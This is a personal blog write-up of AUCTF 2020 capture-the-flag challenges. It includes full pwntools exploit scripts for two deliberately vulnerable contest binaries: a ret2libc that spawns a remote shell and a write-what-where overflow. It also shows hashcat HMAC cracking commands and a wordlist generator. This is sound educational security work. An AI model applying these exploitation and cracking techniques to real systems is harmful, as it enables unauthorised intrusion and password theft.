AUCTF 2020 Writeup
Posted on 11th April 2020
Last week I had the opportunity to participate in AUCTF 2020 with the team MonSec, which is a Capture the Flag cybersecurity competition where teams try to "hack into" purposefully vulnerable applications. The Monash Cyber Security Club MonSec did extremely well and out of hundreds of teams placed 9th overall! This post aims to complement Leo's writeup with a few of the challenges I had a hand in solving. I would also like to thank the organisers for this impressive competition with unique categories including password cracking and trivia. Anyway, enjoy!
- House of Madness (pwn)
- Remote School (pwn)
- Good Old Days (OSINT)
- Big Mac (password cracking)
- Mental (password cracking)
House of Madness (pwn)
This challenge did cause me to get a bit mad, I'll give it that.
The crux of the challenge was to read the flag given a buffer overflow vulnerability. But how do with find it? There is a lot of fluff in the code, but eventually you will find that you need to enter room 4 and say the magic word
Stephen. The binary gives lots of hints, particularly the
Quit option which hands it to you on a plate. But what do we do in room 4? Let's disassemble the
room4 function with radare it and see how the input is handled...
gets, meaning buffer overflow is almost inevitable! Using
pwn cyclic we get a nice pattern to get the offset we need to the return address, and we can call it a day... except not quite. The executable is compiled with PIE. This means that almost everything in the binary is at some offset. Luckily for us, ASLR is turned off so this offset will not vary between each time the executable is run (thanks bad5ect0r for telling me about this!). Using
pwn cyclic again with our debugger (in my case radare) we see that
ebx, the register which stores this offset, is 8 bytes before the return address. In order to achieve reliable code execution, we will need to keep this value exactly the same after our overflow, otherwise other function calls will likely fail miserably. Since I was a PIE noob, I wrote a function
leak_base_pie() to determine the correct
ebx value on the remote through brute force. Turns out it is exactly the same as on my host machine,
Cool, we have the ebx value and we can control the return address. Where do we return to? Let's look at the list of functions...
get_flag sounds extremely promising, doesn't it? So I return there, but of course it is not that simple - the function wants more from us. Since the assembly is getting a bit dense, let's whip out Ghidra.
I tried to fulfil the requirements of the function but I soon gave up and decided to go full hackerman. It was time to ret2libc. Of course the problem was I did not know what libc version ran on the remote server and did not know the correct offsets. By taking advantage of the
puts function and giving it the GOT address entries, I could get the "real" addresses of a few functions, including of
puts itself and
printf. How did I call
puts without using its address? I used the more "abstract" PLT address which is always the same (given the PIE offset is the same). pwntools conveniently abstracts this away through the
symbols dictionary (addresses you can "just call", for libc functions usually in the PLT as far as I am concerned) and
got dictionary for the function pointer table of dynamically resolved addresses. Anyway, the reason we need to do all this is because we want to call
system which is never actually called in the binary, and the only way to do that is to get its "real" address. Using libc database search and the two addresses I leaked of
printf, we quickly see that the remote server is running
libc6_2.23-0ubuntu3_i386.so. With a tad of arithmetic we can easily calculate the right offset to call
system with the argument
"/bin/sh" which gives us a remote shell. From there, we can extract the flag, and much more if we wanted to.
My extremely-production-grade code to do the above steps is below, some lines are commented because they only needed to be run once (e.g. leaking the real addresses).
from pwn import * TIMEOUT = 3 elf = ELF('./challenge') #libc = ELF('./libc.so.6') libc = ELF('libc6_2.23-0ubuntu3_i386.so') # found through libc database after leaking puts and printf func_get_flag = elf.symbols['get_flag'] got_puts = elf.got['puts'] got_printf = elf.got['printf'] func_puts = elf.symbols['puts'] offset_puts = libc.symbols['puts'] offset_printf = libc.symbols['printf'] offset_system = libc.symbols['system'] offset_bin_sh = next(libc.search('/bin/sh\x00')) padding_to_ret = 'A'*28 padding_to_ebx = 'A'*20 # on my machine, base_pie = 0x56559000 def initialise(): #p = remote('localhost', 9999) p = remote('challenges.auctf.com', 30012) p.sendline('2') p.sendline('4') p.sendline('3') p.sendline('Stephen') p.sendline('whatever') return p def overflow_ebx(p, value): p.sendline('2') p.sendline('4') p.sendline('3') p.clean(TIMEOUT) p.sendline(padding_to_ebx + p32(value)) def leak_base_pie(): for i in range(0xff+1): p = initialise() guess = 0x56550000 + (i * 0x1000) log.info('Guess: ' + hex(guess)) overflow_ebx(p, guess) result = '' # try-except we can handle sudden EOF, but also handle timeout case beauce pwntools just sends '' try: result = p.recvline(timeout=TIMEOUT) if len(result) == 0: log.warning('Hit timeout') except EOFError: pass if len(result) != 0: log.info(result) # something was correctly puts-ed, so we guessed right! log.success('Correct ebx found: ' + hex(guess)) return guess p.close() log.failure('Could not find correct ebx') return False def overflow_ret(p, ebx, value): p.sendline('2') p.sendline('4') p.sendline('3') p.clean(TIMEOUT) p.sendline(padding_to_ebx + p32(ebx) + 'AAAA' + value) def leak_address(address): p = initialise() overflow_ret(p, base_pie, p32(base_offset + func_puts) + 'AAAA' + p32(address)) return u32(p.recv(4)) #base_pie = leak_base_pie() # found by running the above function # yes it is the same as on my machine :O base_pie = 0x56559000 base_offset = base_pie - 0x4000 # i dunno where this 0x4000 is from but it is necessary to ensure correct offset (just look at debugger) #puts_address = leak_address(base_offset + got_puts) #puts_address = 0xf7e4a3b0 # local puts_address = 0xf7e78b80 #printf_address = leak_address(base_offset + got_printf) printf_address = 0xf7e62590 #printf_address = 0xf7e2e9a0 # local libc_base = puts_address - offset_puts if printf_address - offset_printf != libc_base: log.warning('Redundant libc base calculations do not match!') else: log.success('libc base calculated @ ' + hex(libc_base)) func_system = libc_base + offset_system real_bin_sh = libc_base + offset_bin_sh p = initialise() overflow_ret(p, base_pie, p32(func_system) + 'AAAA' + p32(real_bin_sh)) p.interactive()
Remote School (pwn)
This challenge was more pleasant than House of Madness, mostly because I was warmed up :) so PIE was no longer a scary thing.
After looking at strings in the challenge memory, it was clear that
Hacker was alongside
CompSci. After the command
attend Hacker we get a special screen, and then a segfault.
After a bunch of flailing around, I figured out that the
test function is where we need to look next. Although input is not directly taken here, we do perform things with the input, namely, copying it to another buffer.
At first I did not believe the code was vulnerable, but after running
pwn cyclic 3000 and feeding in the input it was clear that
var_10h were being overwritten. If you look at the numbers passed to
strncpy as well as the offsets of each local variable, you will realise there are exactly 8 bytes of overflow. But what can we do with these 8 bytes? Well lucky for us the code then proceeds to load the variables into
edx. But we still can't overwrite the return address because our overflow is not large enough. Hmm...
Well actually, the binary very conveniently gives us a "write-what-where" primitive
mov dword [eax], edx, and we control both of those registers! So, we find out the exact address on the stack where the return address is stored, and set
eax to that. Then, we can simply set
edx to wherever we want to return to. The
print_flag function looks like the perfect target. Locally, the exploit executes fine and we are happy! But unfortunately the same cannot be said about the remote exploit... This is where that weird address that is printed just before the segfault comes in. Again, this is quite unrealistic, but the binary hands us a stack address. Doing basic arithmetic on the address that I get when running the binary locally versus what I get from running it on the remote server, we can easily get the correct offset and correctly overwrite
print_flag does not have any tricks up it's sleeve and kindly gives us the flag.
Again, the full code I used is provided below.
from pwn import * TIMEOUT = 1 elf = ELF('./online') bss = elf.bss() func_print_flag = elf.symbols['print_flag'] base_pie = 0x56559000 - 0x4000 # via debugger observation (ebx - the constant to actually be able to add things) bss_virtual = base_pie + bss some_server_address = 0xffff9bb8 # printed after taking input in `attend Hacker` that_address_locally = 0xffff91b8 difference = some_server_address - that_address_locally return_address_location = 0xffff91bc + difference # what we are exploiting is buffer overflow in `test` function offset_to_eax = 2052 offset_to_edx = 2048 def arbitrary_write(p, address, value): p.sendline('attend Hacker') p.clean(TIMEOUT) padding = 'A' * offset_to_edx payload = padding payload += p32(value) # edx = value payload += p32(address) # eax = address (just some place we can write) # what happens is mov [eax], edx p.sendline(payload) # we cannot overflow any further #p = remote('localhost', 9999) p = remote('challenges.auctf.com', 30013) p.sendline('some name') arbitrary_write(p, return_address_location, base_pie + func_print_flag) p.interactive()
Good Old Days (OSINT)
We were stuck on this challenge for a lot longer than we would like to admit. The clue was "This site used to look a lot cooler." which immediately implied something like the Wayback Machine by archive.org. However, looking at the index page or even the challenge page did not yield anything.
After doing a bunch of other challenges we decided to give this one a shot again. The Wayback Machine conveniently provides a sitemap feature that had one thing that immediately stood out:
ctf.auburn.edu/users/50. Why this particular user? Well guess what, that user was the flag.
Big Mac (password cracking)
We are given
You might need this: thisisasecret Hash: 5ee9fafd697e40593d66bef8427d40f8beca6921
The title of the challenge is a huge hint - that the hash is actually some sort of MAC. If we use a naive analyser to determine what type the hash is, such as this one, we are told it is sha1. Of course if we try to crack this now we get nowhere because we have not used
thisisasecret and no MAC stuff was performed. Let's have a look what hashcat can do...
$ hashcat --help | grep -i sha | grep -i mac 150 | HMAC-SHA1 (key = $pass) | Raw Hash, Authenticated 160 | HMAC-SHA1 (key = $salt) | Raw Hash, Authenticated 1450 | HMAC-SHA256 (key = $pass) | Raw Hash, Authenticated 1460 | HMAC-SHA256 (key = $salt) | Raw Hash, Authenticated 1750 | HMAC-SHA512 (key = $pass) | Raw Hash, Authenticated 1760 | HMAC-SHA512 (key = $salt) | Raw Hash, Authenticated 12000 | PBKDF2-HMAC-SHA1 | Generic KDF 10900 | PBKDF2-HMAC-SHA256 | Generic KDF 12100 | PBKDF2-HMAC-SHA512 | Generic KDF 12001 | Atlassian (PBKDF2-HMAC-SHA1) | Generic KDF 7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols 12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | Operating System 7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating System 16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256 | Password Managers 15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256 | Password Managers 18100 | TOTP (HMAC-SHA1) | One-Time Passwords
They way that we pass the hash along with the salt in hashcat is simply
5ee9fafd697e40593d66bef8427d40f8beca6921:thisisasecret. I first tried mode 150 but did not get the result, so then I attempted 160.
$ hashcat -O -a 0 -m 160 5ee9fafd697e40593d66bef8427d40f8beca6921:thisisasecret wordlists/rockyou.txt
And the plaintext popped right out.
Mental (password cracking)
We are given
Password Format: Color-Country-Fruit Hash: 17fbf5b2585f6aab45023af5f5250ac3
First I tried creating a couple wordlists by hand hoping that it would be something really simple and easy to guess like
Red-USA-Apple. Unluckily for me, this was not the case, and I needed to build a custom wordlist. I found a fantastic resource for words at imsky's GitHub respository and this list of countries by kalinchernev. Now care needed to be taken to capitalise the first letter of each word, as given in the challenge question. So I did what I do best and hacked together a Python script.
colors =  countries =  fruits =  with open('colors', 'r') as color_file: for color in color_file: colors.append(color.rstrip()) with open('fruits', 'r') as fruit_file: for fruit in fruit_file: fruits.append(fruit.rstrip()) with open('countries', 'r') as country_file: for country in country_file: countries.append(country.rstrip()) with open('wordlist', 'w') as f: for color in colors: for country in countries: for fruit in fruits: f.write(color.capitalize() + '-' + country.capitalize() + '-' + fruit.capitalize() + '\n')
Sure enough, simply feeding this to hashcat worked beautifully.